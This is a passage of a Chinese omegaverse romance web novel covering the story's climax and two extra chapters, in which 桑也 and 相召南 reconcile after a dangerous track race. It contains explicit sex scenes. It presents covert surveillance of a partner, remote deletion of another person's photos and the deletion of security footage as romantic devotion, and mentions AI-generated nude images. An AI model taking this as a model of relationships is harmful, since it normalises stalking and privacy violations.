本来早上受了他的帮助,就已经让桑也烦闷不已,特意没让他搭自己的便车,没想到相召南还是插手到了新桑的事情来。 更显得他们的关系不清不楚,暧昧含糊。 “没有冲动。”相召南看着手上的协议书,“之前腺体受伤,神经糜烂,一直没有完全恢复,影响到了易感期,甚至每次释放信息素,腺体都会腐败。接受腺体手术,是我深思熟虑的结果。” “呵。”桑也勾了勾唇,丝毫没有对相召南口中的“腺体受伤”一事感到愧疚,“那还真是不好意思了。” 他伸手,朝相召南要来协议书,简单翻了两页,在第十二条协议上久久凝视。 “我还以为你是Alpha特权主义者,移植Beta腺体?” 不是Alpha特权主义者,怎么会在他饱受情热期折磨时,无动于衷呢。 相召南望着背光的桑也:“我不关注Alpha特权主义,也不在意Omega平权主义,我只是……” 桑也至上主义者。 可惜这话只能吞进肚子里,悄无声息地生根发芽。 “哥,给我只笔。” 相召南立马把自己刚取出来用过的钢笔递给桑也。 桑也看都没看,略过他,从桑守安手上接过钢笔。 “怎么了?是协议有问题吗?”桑守安拧眉。 桑也不语,只是在协议书上写写画画。 【12.志愿者接受再分化腺体移植手术,由新桑科技A1实验室提供再分化Beta腺体,于六个月内完成实验,志愿者需接受后续跟踪反馈。】 他划掉“Beta”几个字母,写上“Alpha”,盖上笔帽后,将协议书拍在相召南脸上,“变成Beta,也太便宜你了。” 凭什么相召南可以轻易躲过腺体的折磨。 相召南摸着脸上的协议书,因为是刚打印的,带着点墨水香味,但隐隐约约,似乎还有别的香气。 他指尖抖了一下,刚好触碰到桑也冰冷的指头,凉得吓人。 看着桑也离开办公室的身影,挺拔,高傲,宛如一棵茁壮的树苗,却又那么的孤寂。 协议书缓缓落下,相召南眼前渐渐浮现出方才大厅那场闹剧最后的收尾。 一个Omega突然站出来,身上发抖,指着桑也说:“如果因为这个实验Omega的处境更加糟糕怎么办?本来Omega就势单力薄,因为你们,以后肯定会更加难过了!桑也,你这样对得起我们对你的支持吗?” 桑也本来惊魂未定,又遭了这一番指责,面色有些发白。 桑守安按住他想要他回避,但桑也拨开桑守安的手,执意要回应。 “你们顾虑的,我同样担忧。是不是会有Beta被迫植入Omega腺体沦为玩物?是不是会有意志不坚定的Omega植入Alpha腺体从被压迫者变成压迫者?……” “但是,这都是有些‘可能’的结果,并且是一个是违法行为,一个是个人选择之下的结果。为什么要因为这些细微的负面影响而忽视了这个实验带来的最大好处呢?它可以帮助许多的Omega逃离困境,它可以救命。” “一定要因小舍大吗?” 随着话说出口,他的面色变得红润起来,不知道是热的还是急出来的。但神色愈发坚定,完全不被那个Omega的话动摇了初心。 “我不知道以后会不会变得更糟糕,但我相信,固步自封,一定不会有未来。” “你们当中有许多人视我为偶像,甚至把我当成……但很抱歉,我不是谁的英雄,请不要为我套上枷锁。” 桑也离去的背影还在相召南眼前。 单薄,直挺,好像稳扎稳打风雨不败,又好像一场霜降就能打倒。 他呢喃:“他好像又变得孤单了。” 办公桌后的桑守安冷笑一声。 “那里面有多少人是收了钱的,还用说吗?” …… 接下来的两个月,桑也忙碌于在全国各地宣讲,招募志愿者,带着志愿者签订协议,做心理辅导。 这不是他一个人的工作,但他尤为上心。 沈惟岸笑他:“简直把实验当成对象了。” 桑也只摇头,“我不希望再见到任何差错了。” “厂子选址确定了吗?前几天我问大哥,他说最后会去考察一番。” “已经联系那边的人在商讨合同内容了,小桑总这次回S市要过去看看地方吗?” “算了,我先回去歇歇,之后再说吧。”坐在飞机上,桑也闭上眼。 “小桑总这段时间在外地跑商务,家里那位不会有意见吗?” 沈惟岸突然问。 “什么家里那位?” 桑也顿感冒犯,下意识皱眉,又觉得沈惟岸这种沉稳的性格不应该说出这种话。 果然,下一秒他又听见沈惟岸说:“小桑总身边该有个知冷知热的人了。” “沈总,这不是你该关心的。” 想要毛遂自荐,也得看桑也愿不愿意。 沈惟岸碰了壁,但并没有挂脸,仍是浅笑着,说了声好。 桑也看向窗外,避开沈惟岸的目光。 心绪复杂。 按理说,沈惟岸为人绅士,心思缜密,待人和善,还是他们新桑的得力助手。 如果桑也和他在一起,是个两头得利的结果。 但是…… 他对沈惟岸的确生不出同事以外其他想法。 尽管这段时间忙前忙后,性/欲增加了些,自己动手的次数也不在少数,但能让他起心思的…… 他只能想着那人高高在上的神情,宽阔的后背,结实精瘦的腹肌,折角的腰和沙哑的声音,自给自足。 从最初的难以理解,到现在的坦然接受,因为太过忙碌,他连审问自己的时间都没有。 只好简单地归因于自己只和他有过亲密关系。 以至于此刻拒绝沈惟岸都格外心虚。 回到海风府已经是晚上八点,桑守安还没有回来,阿姨都在休息,只有老大激动地迎接了他。 桑也并没有和它过多玩耍,逗着老大玩了一会,就上了楼。 他脱下外衣,解开衣领扣子,衣冠镜一五一十地照映出他胸口的粉色疤痕。 指尖划过,又痒又凉。 脑海里不停回荡着沈惟岸那句话。 桑也从床头的储物柜取出一个圆柱形的玩具,进了浴室。 然而他刚简单洗了一下身上,玩具还没有派上用场,手机就响起刺耳的铃声。 “什么事?” 打电话来的是Kacers Edge Alliance俱乐部的经理,也就是早年桑也和凌星一起创立的赛车俱乐部。 经理似乎遇到了什么特别紧要棘手的事情,说话都有些不清不楚。 “桑先生?您现在有空吗?他把人都赶出去了自己在里面跑车,听这声音完全是胡来!他要是在里面出了事我们是不是得赔个倾家荡产啊?” 桑也一手穿上衣服,一手拿着手机。 “谁?” “相先生相召南啊!” 电话那边传来跑车涡轮呼呼的声响,和车轮与地面摩擦发出的挠胎声,混乱,毫无美感。 能听出来是一个根本没有经验的人在乱搞。 在搞什么? 桑也只好整理好衣服,赶往俱乐部。 到了俱乐部,经理一个人在大门处候着,时不时往门内觑一眼。 “谁让他进去的?” “相先生很早之前就投资了咱们俱乐部,只是金额不多,可能您没有注意到。他要进去我们也不敢拦啊。” “他根本就不会赛车!” “我知道,我知道。”经理头都不敢抬,哪里想得到相召南跟俱乐部员工打招呼提前下班竟然是来干这种冒险的事情! “所有员工都被他放假提前回家了,我也是怕有人乱搞,才来看一眼,结果就看见这个!” 桑也往里面走去,准备室和交际厅都空无一人,只有最核心的跑道上不停传来嗡鸣声。 “简直有病。”他骂了一句。 那经理点头哈腰,“对对对,这相先生来了易感期,也不去打抑制剂,跑我们这来瞎折腾,这叫什么事啊?” 易感期? 不是四个月一次吗? 桑也眉心紧锁,“你先出去吧,免得出了事。” 要是爆炸,能少一个人出事也好。 经理有些担心,但又高兴能把这个麻烦甩掉,边点头边往外走。 “那桑先生,您千万当心啊。” 桑也站在紧锁着的、观众进入跑道观赛的铁门前,手掌落在门上,推了一下,纹丝未动。 沉思片刻,他转身朝俱乐部的车库走去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第86章 红色的跑车从地下车库缓缓驶出。 大门打开的时候, 先看见的是天,随着跑车沿斜坡爬上,才看见地。 跑道上, 暗银色的柯尼塞格拉足了马力, 轰隆隆疾驰而过, 完全没有注意到侧边有一辆红色跑车紧紧盯着它。 桑也双手搭在方向盘上, 整个人贴合在座椅上,双腿微张, 操纵着这辆俱乐部名下的跑车进入了跑道。 他开得很稳, 许久没有实操过,需要一点时间来找回手感。 相比之下, 柯尼塞格跑得毫无章法, 跑道上到处是车轮打滑出来的辙印,周边和内部的草坪遭到了虐待, 短短的草被卷飞, 又落了满地。 不过似乎是因为上手了一段时间,相召南已经找到了基本的章法,目前看来没有过于危险的行为。 只是速度快, 像是牟足了劲,恨不得狠狠撞在周围的墙上, 来一场鲜血迸发的事故。 桑也踩下油门, 缓缓提速。 暗银色的跑车在前, 红色跑车在后。 那辆柯尼塞格毕竟是世界顶尖的超跑, 性能远不是红色跑车能够相比的。 即使驾驶它的是桑也, 也感到压力。 射灯投下来一束束白光,照耀在追逐的两辆超跑上,在夜间显得格外耀眼。 桑也原本的计划是别停柯尼塞格。 然而随着两辆车的较量升温, 柯尼塞格似乎不受控制,歪歪斜斜。 出问题了。 再好的跑车没有好的赛车手,也只是无畏的消耗。 会停下来吗? 桑也追在柯尼塞格后面,如果相召南想要保命,现在最好是停下来。 然而下一个转弯,柯尼塞格仍旧完全没有减速的意思! 泄压阀发出一阵阵声浪,柯尼塞格在轮胎与地面摩擦发出的白色烟雾之中摆尾,擦着边转弯,只留下几道危险的痕迹。 简直是胡来。 桑也不再给柯尼塞格任何机会,直接将油门踩到底! 红色超跑从外道疾驰,仿佛化作一道火红的流星,轮胎与地面摩擦发出尖锐的啸叫声,甚至压过了柯尼塞格大马力引擎的咆哮声。 两辆车擦肩而过的一瞬间。 柯尼塞格内的相召南转头,长眸瞬间放大,桑也! 那辆不知道何时加入的跑车,坐着的竟然是桑也! 他可以不把自己的生命当回事,但绝不能伤害桑也丝毫。 只见那辆红色跑车一个摆尾,划出劈里啪啦的火花,整个车身一百八十度转弯,径直挡在柯尼塞格面前。 一个向前,一个后退。 相召南立马踩刹车! 然而即使他手眼通天也没法无视物理规则,再好的跑车也没办法在一秒之内从最大速度降为零。 他只能眼睁睁看着两辆车越靠越近—— 咫尺距离,两辆车差点就吻在了一起! 相召南胸腔剧烈起伏。 差点,差点他又亲手给桑也造成伤害了。 坐在轿厢内,相召南迟迟没有下车。 剧烈波动的情绪在易感期的作用下被无限度放大,他握紧了方向盘,实在难以压制自己。 他已经想不起两个月前突然插手新桑事务时自己纷繁复杂的思绪,只记得一个念头。 桑也的高楼起了。 桑也的高楼不能塌。 然而呼吸交缠的结果就是第二次易感期突如其来,来势汹汹,他既不能打抑制剂影响实验,又不能找到桑也让他给自己一个拥抱,只好打上了赛车的主意。 赶走所有人,用最原始的野性驱赶车辆,爆发出最大限度的信息素。 车门上传来拍打声,桑也神色冷厉站在外面,相召南按下开门键,车门缓缓向上折叠升起。 桑也拽着相召南的衣领,二话不说把人从车内拽了出来,一拳砸在相召南脸上。 下了狠手,相召南擦了下唇角,手背上是血丝。 但桑也的怒气根本不是这一拳能够完全抒发的。 他恨不得对相召南拳打脚踢,打得他说不出话来! “相召南,你——”桑也急喘着气,指着相召南,好看的眉眼拧起。 相召南静静看着他,屏息凝神,似乎在等桑也没说完的话。 会担心吗? 把自己的安危置之不理,冒着生命危险来逼停他。 要知道桑也是专业的,但相召南不是,他是不可控的,是危险系数拉满的。 如果桑也预估失误,今天就是两败俱伤的结局。 如果不是担心他,怎么会做出这么冲动的举措? 然而他的期望落空了,桑也险些要把牙咬碎:“我最爱的一辆车,到了你手里,你就这样对待它!” 那车被桑也委托凌星售出,没想到和别墅一样,成了相召南的囊中之物。 相召南有些失望地躲开目光,轻声说了句:“我会好好修缮它的。” 桑也眼里沁出一丝水意,他揪着相召南的衣领,强迫他看向自己。 “为什么?” “什么?” “为什么,占有它,又不珍视它。” 相召南呼吸一滞,仿佛坠入深海,无尽的水压令他完全无法动弹,浑身骨头都好像要被挤扁压碎。 “我没有那个意思……桑也。”相召南霎时感觉自己像是法庭上证据确凿的罪犯,几乎找不到话语为自己辩护。 “混蛋。”桑也眼眶红了。 “相召南,你个混蛋!” 为什么还要出现在他的世界,为什么还要引起他的注意,为什么还要让他想起过去。 实验受阻的劳累,网络舆论的压力,斩不断理还乱的爱与恨,纠与缠,在飙车过后得到了彻底的释放。 从他的眼眶,不停地流下来。 “别哭,桑也,别哭。”相召南握着桑也的肩膀,顿感手足无措,抬手想为他拭去眼泪,却被躲开。 片刻后,他倾身过去,吻住了桑也眼下的泪珠。 咸湿的水液仿佛充满魔力。 两个人都僵在原地。 桑也心想自己没救了。 他不爱喝酒,相召南便是他喝过最烈的酒,以至于后来看谁都寡淡。 泪流不止。 仿佛回到了多年前,他匍匐在男人脚下,祈求一次垂怜。 相召南的唇从他的脸颊上移动到他的唇瓣上,细细碾压,吮吸,把他的嘴堵住,只能专注于呼吸。 而桑也的手还揪着相召南的衣领,远远望去,像是他强迫了相召南一样。 将近十分钟,不停歇的掠夺,让桑也呼吸紊乱,只能拍打着相召南的胸口,让他放开。 好不容易得到喘息的机会,桑也还没好好喘上两口气,就感到天旋地转,相召南掐着桑也的腰,把他放在柯尼塞格前端的引擎盖上。 然后,相召南单膝跪下,解开扣子,用牙齿拉下他的拉链。 桑也再次感到窒息。 从前求而不得的眷恋,如今宛如自天山奔涌而来的江水,滔滔不绝。 桑也双手撑在引擎盖上,轻声喘了两下。 出门前他本来就有这个想法,到了相召南口中,根本经受不住挑逗。 细密的抖动从一处传至全身,桑也一手揪着相召南的头发,将他的头狠狠压下。 十几分钟就感到一道白光闪过,眼前空白一片。 “呃啊……” 他松开手,两手继续撑着引擎盖,腰身不自觉颤抖着前挺。 等睁开眼,看见的便是相召南嘴角挂着乳白的光,正被他用指尖刮下送进嘴里。 桑也没敢看。 就这样的一下躲避,相召南趁机起身,把桑也紧紧抱住。 温热的,柔软的,让他沉溺。 “桑也,我的桑也,我的温香暖玉,我的灵丹妙药……”相召南喃喃,热气扑朔在桑也的耳根。 “桑也,让我陪在你身边吧,做我的救世主,好吗?” 桑也能感受到相召南圈住自己的手臂变得僵硬,肌肉绷起,但并没有将自己勒住,小心谨慎,怕打碎了这个易碎的陶瓷娃娃。 他不说话。 静默的氛围让相召南感到害怕。 他说:“哪怕是当你的情人,只要让我在你身边,我都心甘情愿……” 桑也仍是不说话。 相召南语气变得急促,他害怕,恐惧,乃至浑身战栗。 “没有人比我更合适,无论是生理疏解,还是其他方面的支持,桑也,我都能给你,我全都可以给你。” 桑也轻轻笑了一下,像风刮过,几不可闻。 “只有你吗?别人,不可以吗?” 圈住自己的手臂瞬间收拢,又缓缓释开。 “别人?谁?”相召南搜刮记忆,开始寻找可疑对象,“沈惟岸吗?” 他看着桑也的眉眼,只见对方细微地点了一下头。 相召南几乎是崩溃地捧着他的脸。 “不可以,他不可以!”随后镇定下来,“你以为他多纯情么?手机里单独一个私密相册存放你的ai裸照的纯情?” 桑也顿时握拳,“你说什么?” “别害怕,别害怕,出事之后我就远程帮你把所有照片删掉了,以后也不会再有了。”他轻柔地拂过桑也额角被薄汗沁湿的碎发。 桑也止不住地颤。 沈惟岸! “选我吧,我什么都可以给你,我的心,我的命,都是你的……” 相召南望着桑也,那双长眸里布满了黑雾,潜藏的情欲暗自涌动。 明明他已经放过桑也了,是桑也自己找上门来的。 他从桑也身上摸过去,找到他的手,帮他把手放在自己脖子上。 微微仰头,把生命的源头暴露给桑也,以示忠诚。 “这样,能让你感到安全吗?” 桑也目光落在那手与颈的阴影下,仿佛看见了那间病房,那道楼梯,似曾相识的画面历历在目。 “我可以哭吗?相召南。给我带来那么多伤害的人是你,又作出臣服姿态极尽所能要我感到安全的人也是你,我该拿你怎么办呢。” 没等相召南回复,又自问自答道: “我不该在你面前哭的。” “没有什么该不该,想哭就哭吧。”相召南指尖抚过桑也薄薄的眼皮,又湿又热。 但桑也没有哭。 相召南心脏骤停了一下。 “别考虑理性的结果了,考虑考虑你这儿吧。” 相召南已经为理性付出过最深的代价了,他深知理智的缺陷。 他将大掌贴在桑也的左胸口,感受那里面生生不息的跳动,却隔着衣料碰到了一条蜿蜒的疤。 桑也没哭,只是从相召南手中抽回手,缓缓道:“楚大哥说,如果不是我家对我的教养方式出了问题,我不会和你有那么多的纠缠。” 他望着跑道中间,目光落不到实处。 “但你就是有了。这不正好印证,我们是天造地设的一对。” 相召南生怕桑也说出不要他的话。 桑也只轻飘飘扫了一眼相召南,又移开目光。 “相召南,我问了很多人,听了很多话,可我还是找不到正确答案。” 相召南握着桑也的肩头,让他看向自己,“因为他们都是正常人,而我们,是两个疯子。” 桑也笑起来。 从胸腔内传出来闷闷的笑声,震颤传到车上,传到地面上,仿佛天地都在为他们动容。 “我想你死,又怕你死了,我的怨愤无处宣泄。” 未被表达的情绪不会消失。 反正相召南早已见过他最丑陋、最难堪的模样,有对他的宣泄甘之如饴。 “遇见你,我才知道爱与恨可以共存。” 桑也不得不承认。 他是爱相召南的。 伤害他的人那么多,只有相召南,让他恨到了现在。 恨到一提及他就心脏抽痛,一见到他就呼吸凝滞。 没有爱,哪有这么长久的恨啊。 他曾经说相召南只是不甘心而已。 其实,最不甘心的是他自己啊。 他怎么能甘心? 付出了那么多,遭遇了那么多,痛苦了那么多,却还是得不到! 怎么能甘心! 他怪异地笑着,像深林里的巫师,神秘而诡谲。 “就让我们两个神经病相互折磨吧……你把我变成这样,你一辈子都该被我折磨。” 他伸出手,似乎是想要一个拥抱。 等相召南将他揽入怀里,桑也突然低头,一口咬在了相召南的腺体上。 处在易感期的腺体敏感,脆弱,根本经不住这样一次毫不收敛的咬噬。 没两秒,就有腥味从衣服里透出来。 相召南没有挣扎,只说:“好。” 良久,黑夜的云朵从东到西,掠过了他们的头顶,自动旋转的射灯投下的圆形光圈两度将二人套牢。 桑也松开口,抹了下自己的嘴角,擦去血渍。 “相召南,等我哪天不要你了,你就去死吧。” 他坐在车前端,捧着相召南的脸,深情道。 “好。” 相召南仍旧回答。 稍稍侧头,唇角吻过桑也的手背。 ——正文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 番外 第87章 番外 “明天安排人修复场地, 报价单直接寄到相氏。” 桑也给经理发完消息,发现跟在身后的相召南没了人影,四下扫了几眼, 才在大开的监控室门内找到相召南的踪影。 相召南删完监控出来, 顺手带上门, “裤子脏了, 去华润湾换身衣服吗?” 桑也下意识想回避华润湾,眉心下压:“都是多少年前的衣服了。” 那时候他还在穿各式各样的毛衣, 像个乖巧听话的Omega。 相召南神色似有纠结, 半晌才道:“新的。” 桑也又想起半年前在酒吧被下药后第二天相召南给他的那套衣服,合身服帖。 他眼神躲闪, 径直朝着俱乐部外面走去, 上了车。 相召南倒是自觉,问也没问直接坐上了副驾驶位置。 桑也没说什么。 相召南现在易感期, 又是个特殊患者, 就算他想开车,桑也也不可能把方向盘交给他。 华润湾没怎么变,桑也轻车熟路地停了车, 走在相召南前面,上楼。 到了家门口, 相召南没有开门的意思。 桑也便明白了。 他把指腹贴上感应器, 听见滴的一声, 家门就打开了。 推开门, 里面的格局、布置都让桑也感到熟悉, 好像三四年来一尘不变。 相召南到主卧里取了一条黑色西装裤,看长度就知道只能是桑也穿的。 “要洗澡吗?”相召南把裤子放在沙发扶手上,“我帮你放热水。” 桑也出门前就洗过澡了, 没有必要。 他摇头,“你去洗。” 闻言,相召南怔了一瞬,小心地用眸光去打量桑也的神色,确认他没有理解错,才点头,转身进了浴室。 水声响起后,桑也推开主卧的门。 那以前是他住的房间,相召南很少留宿,但现在满是相召南的生活气息。 半开的衣柜门全是各式黑色高定西服,放在床头柜的手表还在滴滴地转着指针,平铺整齐的白色床被折出一个死板的三角形,两只枕头放在床头,间距恰到好处。 花瓶空着,没有水,没有花,相召南还是一如既往的没有格调和情致。 另一个床头柜上放着一个银白色的保险箱,不算大,但很显眼。 桑也想过要不要尊重相召南,不去侵犯他的隐私,转念一想,以他们现在的关系,相召南凭什么有隐私。 便直接上手。 保险箱是密码锁,桑也随手拨了几下,心里有了主意,把数字调成0729,果然听见咔哒一声,保险箱门弹开了。 桑也笑了一声。 没改的房门指纹,以他生日为密码的保险箱,防得住谁?还是特意请君入瓮? 桑也一笑而过,懒得去计较。 保险箱里不是俗套的金条、现金或者是银行卡,而是一堆看起来没什么用的东西。 第一件是相片。 过塑之后的相片内容清晰,纸质硬挺,穿着红色赛车服的少年迎着风踩下油门,赛车直接跑出虚影,拉爆身后的参赛者。 桑也对这场比赛还有点印象。 比赛结束后领奖时,亚军的Alpha赛前放了狠话却输了,觉得没面子,直接不上台,借口不满意Omega参加他们Alpha的比赛。 桑也拿了奖牌之后下台直接一个远掷,手机正中那人的脑门,血流如注,引得凌星连连叫好。 因为桑家那时如日中天的势头,被砸的Alpha吃了哑巴亏,连找上门要赔偿要道歉都不敢。 那时候气性大,想做什么就做什么。 居然被相召南看见了。 桑也冷冷地勾了下唇,把照片撇在一边。 第二件是一把红色的囊袋,桑也拿到手中仔细看了眼,是平安福。 他随机拆了一个,里面有张红色纸条,用金粉写着:桑也,岁岁年年,平平安安。 隐约还透着香灰的味道,像是开过光的。 桑也无动于衷,把纸条卷起塞回了囊袋里。 最后摸到一个U盘,银色材质,看起来平平无奇。 但能被相召南放进保险箱,桑也不信它什么都没有。 他起身,从卧室出来,走到书房门口站定。 似乎多年前的习惯还在,但桑也不再理会,压下房门把守,踏入了这一片禁地。 桑也绝对是个诚信真实毫不作伪的人,即使在相召南身上屡屡碰壁,也从来没有生出过窥探别人隐私的想法。 他的教养,他的性格,都不允许他这样做。 但现在不一样了。 书房里并没有过多的摆设,偌大的房间只有几个填满书的实木书架,一张内嵌办公桌,桌上一台电脑,再无其他。 桑也将U盘插入,按下电脑的开机键,很快电脑就打开了。 他试了下自己的生日,百试百灵,成功登入了。 刚一登进去,便弹出来U盘内容,齐刷刷的监控视频,鼠标都划不到底。 桑也静静看着电脑屏幕,不知道过去了多久,突然回神,感到眼前一阵眩目,用力眨了眨眼睛才恢复过来。 他随机点开一个视频,电脑自动恢复到上次的观影记录,已经是视频的末尾两秒,放完开始重播。 监控内容好像并没有什么值得看的,无非是桑也早上起床,洗漱吃饭,哼着歌,在客厅蹦蹦跳跳,跳累了喝口奶茶,就进画室里埋头画画,之后客厅就出现了长达五个小时的真空期,再见到桑也是他从画室出来,锤着肩膀揉着腰。 桑也叉掉视频,拔出U盘。 没什么好看的。 做完这些,时间才过去十五分钟不到。 不过,放在过去,十五分钟也该相召南洗完出来了。 既然人没出来,桑也只好在客厅转了转,给自己倒了杯水。 茶壶里还有没变味的凉水,估计是早上烧的。 喝了水,把杯子放回岛台,刚好路过一面平整的白墙。 桑也顿了顿,也觉得有些留恋。 毕竟是他用了那么久的画室。 然而他推开门,画室里面的场景让他连呼吸都静止了。 昏暗的画室被一幅幅油画填满,全是从成安拍卖行出去的画着相召南的油画。 装帧精美,画框似乎都是纯金。 画上的人物只有肩、颈、手臂、胸口是清晰可辨的,脸部全部被桑也用各式各样的花鸟和奇异物件遮挡起来,最简单的则是直接虚化。 但熟悉的人,尤其是桑也,一眼就能看出那是谁。 彼时史密斯说他的画缺少灵性,让他继续画以前的画中人,又有林肯从旁左右,说什么网友最喜欢“深情总被辜负”的人设,要他好好抓住机会。 于是画了一副又一副相召南。 时隔多年,他连相召南肩有多宽手有多长都还记得。 桑也砰的一声关上门。 手在发抖。 闷闷地笑出声,苦涩而干涸。 之前因为那个匿名论坛为他奉献热度、为他抬高价格而纠结不已,不知道该怎么对待他们,以至于后面愈演愈烈,出了一系列的事端。 却又让他知道原来拍下他油画的自始自终都是同一个人。 是相召南。 偏偏是相召南。 桑也笑不出声了。 相召南这时从浴室走出来,手上拿着棕色的毛巾,囫囵擦了几下头发,看见桑也靠在画室旁边的墙上,手一时僵住,头发还在滴水。 桑也:“我记得问过你是不是幽阿,你告诉我不知道,不认识。你骗我。” 他敲了敲画室的隐藏门,“这回又编了什么谎话呢。” 相召南既然敢不改房门密码,就肯定想过被他发现画室的东西,自然早有应对的方法。 相召南将毛巾放在岛台上,亲自推开了画室的门。 “是我。”相召南将目光从油画上移到桑也身上,刚被水雾浸透的长眸晦暗,充满了不明之色,“我阴险狡诈,卑鄙无耻,虚伪矫饰,不择手段。” “所以,还要我吗。” 这回还挺诚实。 桑也垂眸低笑,没去看相召南的双目。 他转身朝卧室走去,随口又抛下一个炸弹。 “攒了那么多平安福,怎么不送给我。” 相召南原本走在桑也身后,脚步平稳,闻言一顿,等桑也坐在从床边看向他,就看见相召南目光闪避,不敢去看被打开的保险箱。 “可以送给你吗。”他问。 “不可以。”桑也含笑。 相召南孤零零站在门口,原本的背头打湿后变得不再有气势,发丝还滴答淌着水,顺着他的下颌滴下。 良久,相召南去了趟客厅,回来手持一个方形盒子。 他取出盒子里的项链,最下面坠着一颗硕大的海蓝宝,往上也是价值不菲的宝石,铺成一个三角面。 相召南没有问可不可以,直接上手,想给桑也带上。 然而刚把项链置于桑也胸前,还没探手到他颈后,自己的手便被桑也抵住。 桑也眼尾微微扬起,“以我们现在的关系,该是你讨好我。” 相召南一愕,双手悬在空中,直到桑也扯下他的浴袍腰带,一大片肌肉坦露出来,相召南才收回手。 给自己带上项链,随后脱下浴袍。 整个上半身只有一条项链。 海蓝宝正正好落在胸肌与腹肌的连接处,其余的宝石铺在健硕的胸肌上。 相召南常年在办公室,肤色并不黑,但还是不如桑也白得发亮,在海蓝宝的映衬和并不明亮的灯光下,隐约有些小麦色的感觉。 相召南也不羞赧,就这样露着让桑也看。 反倒是桑也看得有些脸红了,稍稍侧头。 相召南覆身上来,单膝跪在床边,将桑也推倒在枕头上,薄唇压下,向那柔软的淡粉色袭去。 成年人之间不用多说什么。 桑也没有推拒的意思。 然而冰凉的唇瓣一贴上来,他并没有在唇上感受到触觉,反而是…… 桑也一把推开相召南。 面无表情地咽了咽口水,质问:“吃春药了,一股骚味。” 相召南侧头,高挺的鼻梁贴近自己肩膀,嗅了一下,勾唇笑了。 “没吃,你要喂我吃吗。” 桑也不说话,就看着他。 两个人隔得很近,又距离很远。 相召南的唇缓缓放平,变成一条冰冷的直线,终于意识到了自己说了什么。 AO之间,纯天然诱人动情的,无非是Omega信息素。 但是桑也剜去了腺体,不再有释放Omega信息素的能力。 罪魁祸首是他。 相召南神色暗淡下来。 桑也这才开口,“不准吻我。” 相召南低低应了声好。 第88章 番外 不知道是不是因为坦白了自己的恶劣, 相召南行事更加得寸进尺。 桑也依稀记得四年前相召南没那么多恶趣味,只是体力强,让他招架不住。 现在却像是打开了什么阀门一样, 不仅要抱着桑也, 让桑也悬在空中, 不得不搂紧了他的脖颈, 还时不时吓唬桑也,令他担惊受怕了一两个小时。 桑也脸上不显, 还是一副冷淡的模样, 心脏却砰砰直跳,险些心悸。 以至于最后一口咬在相召南颈侧腺体上方。 红殷殷的齿印, 表明了身上人的愤懑。 相召南一手抱着桑也, 一手摸了摸齿痕,扬唇轻笑, “金主满意就好。” 浴室。 本来是事后洗澡, 结果又擦枪走火,难以控制。 “闭眼。” 相召南把桑也抵在硕大的镜子前面,桑也那张秾丽的脸双倍呈现在他眼前。 粗粝的手指带着温热的粘液突然刮过白腻腻的大腿, 桑也不由自主夹紧,大腿软肉把不安分的手包裹住。 他闭着眼, 还没来得及为自己下意识的反应感到羞耻, 只听见男人浅笑一声, 猛地抽出手, 指尖却不知有意无意, 剐蹭了一下。 桑也浑身一颤,双腿软得差点跌坐在地上,好在事先攥住了男人的手臂, 又有对方及时的挽扶,才没有狼狈不堪。 他还没来得及好好控诉面前人恶劣的行径,就被那只游走于全身的手从腹部一路往上,掐住了下颌,紧接着,相召南的拇指用力磨了一下他的下唇。 猝然的疼痛让他张了张嘴,躲开后续的折磨,又不禁舔了下唇,试图用舌尖的暖意缓解疼痛。 却不料舔舐到一股腥涩。 桑也眯了眯眼,“什么意思。” 相召南不语,只是将手心的黏液涂抹到了桑也的腰窝和胯骨上。 “晚上留下来?”相召南标记不了桑也,只好把自己的东西悉数交代给桑也,“你身上都是我的味道。” 桑也睨了他一眼。 相召南挑眉,“我说的是信息素。” “你还能释放信息素?” 一般而言,信息素的释放是爱意的流露,但桑也没了腺体,感知不到别人的信息素,也自然不清楚相召南有没有释放信息素,以及释放了多少。 “暂时还行,只是会疼。” 相召南反手摸了摸自己的腺体,那里又痛又肿,不停流窜的信息素莽撞地东奔西顾,活跃的神经更加灵敏,痛感更加明显。 手指上移,触碰到两道不规则的咬痕,相召南唇角不自觉上扬。 桑也在他身上留下的痕迹。 他相信桑也没有施虐的倾向,他只是不得不这样。 “什么时候手术。” 桑也打开花洒,水流从上泼下来,他闭着眼,任由水流滑过。 “易感期结束。” “尽快吧。” “就不担心我下不来手术台?”相召南钻进去,将桑也揽进怀里,双手握住桑也的腰,下巴搁在桑也的肩上,一起享受同一道水流。 水流传来桑也的声音,“那最好不过了。” 相召南不说话,就这样抱着桑也,轻轻摇晃。 怎么会不担心呢。 不担心怎么会晚上赶去俱乐部呢。 相召南安静地享受着。 …… “桑总,又有人给你送花了。” 助理敲开办公室门,手上抱着不小的一捧冰蓝色玫瑰花。 办公室里,沈惟岸刚进来,还没说上话就被打断,也没气恼,安静看着。 桑也冲助理抬了抬下巴,“放在外面,挂个牌子让大家自取。” 助理便把花抱了出去。 沈惟岸含笑,“桑总的追求者?” 桑也定定看着他。 沈惟岸来找他应该是商量实验的事情。 第一批实验开始,如何去应对舆论,如何去传播正向信息,都需要抉择。 如果不是那捧花突然闯进来,桑也可能就这样仿佛无事发生地谈了下去。 偏偏相召南送了束花来,让他不得不想起那个令他愕然的消息。 相召南说的是真的? 他没有骗人? 实话实说,相召南在桑也心中的可信度并不高,但怀疑的种子一旦种下就会生根发芽,至于是谁播的种,也就不那么重要了。 和相召南相比,沈惟岸在桑也心中的形象要正面得多。 尽管时常让桑也觉得无趣,但不可否认,沈惟岸是个很不错的合作伙伴,头脑聪明,绅士礼貌,挑不出错。 然而就是这样一个人,被相召南揭穿曾也有过恶劣行径。 桑也眼前仿佛有一场雾,树影斑驳,看不清楚。 他开门见山,没多迂回:“相召南说你手机里有过一些见不得人的照片和视频,沈总有什么想要解释的吗?” 沈惟岸笑容一僵,“你还是和相召南在一起了?” 就这么一句话,答案以及很明晰了。 桑也摇了摇头,“宣传的事情直接外包给营销公司,有什么事情跟大哥讲就行。” 就这样离开了公司。 坐在车内,桑也闭着眼。 他是不是对人的期待太高了?是不是人就是那么坏那么糟糕那么不值得期待? 他向往一个健康的工作环境,致力于和每一个员工打好关系,舍得花钱,舍得花时间,慢慢地成了所有人心目中最友善的小桑总,谁都能跟他聊上两句,甚至有员工家里亲人生病不够钱做手术还是找桑也借的钱。 但这并不是他的同事,他的员工,不尊重他的理由。 别人吃一堑长一智,桑也却好像永远在跌跟头,也学不聪明。 他调出和相召南的通信页面,上面还有昨天的消息。 相召南:【后天手术。今天过来吗?】 桑也:【0】 他没去。 但今天桑也突然很想去见见相召南。 